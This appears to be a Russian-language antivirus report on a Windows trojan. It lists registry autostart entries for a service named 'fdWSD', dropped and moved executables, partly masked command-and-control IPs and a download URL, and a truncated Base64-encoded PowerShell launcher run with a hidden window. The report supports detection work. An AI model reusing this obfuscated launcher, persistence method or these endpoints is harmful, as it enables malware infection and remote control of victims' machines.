Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\fdWSD] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\fdWSD] 'ImagePath' = '"%WINDIR%\SysWOW64\feclient\fdWSD.exe"'
- 'fdWSD' "%WINDIR%\SysWOW64\feclient\fdWSD.exe"
- 'fdWSD' %WINDIR%\SysWOW64\feclient\fdWSD.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABIAHMAdgBqADYAagBtAD0AKAAoACcASgA5ACcAKwAnAHQAJwApACsAJwBvAHIAJwArACcAXwA5ACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAcgBwAHIATwBmAGkAbA...
- %HOMEPATH%\u_3yb4r\j04ag7z\ibfe8b64.exe
- %WINDIR%\syswow64\feclient\fdwsd.exe
- %HOMEPATH%\u_3yb4r\j04ag7z\ibfe8b64.exe в %WINDIR%\syswow64\feclient\fdwsd.exe
- '20#.#2.141.45':80
- '37.##7.161.206':8080
- '20#.#9.239.162':443
- http://bo###net.com/wp-admin/iR/
- http://20#.##.239.162:443/t3IfThc/ru2m/sv2gvlX/qAZIf4QTT/VOvhYh36GrD5UGtXd/KbLmkV5Vob/ via 20#.#9.239.162
- DNS ASK bo###net.com
- '%HOMEPATH%\u_3yb4r\j04ag7z\ibfe8b64.exe'
- '%WINDIR%\syswow64\feclient\fdwsd.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABIAHMAdgBqADYAagBtAD0AKAAoACcASgA5ACcAKwAnAHQAJwApACsAJwBvAHIAJwArACcAXwA5ACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAcgBwAHIATwBmAGkAbA...' (со скрытым окном)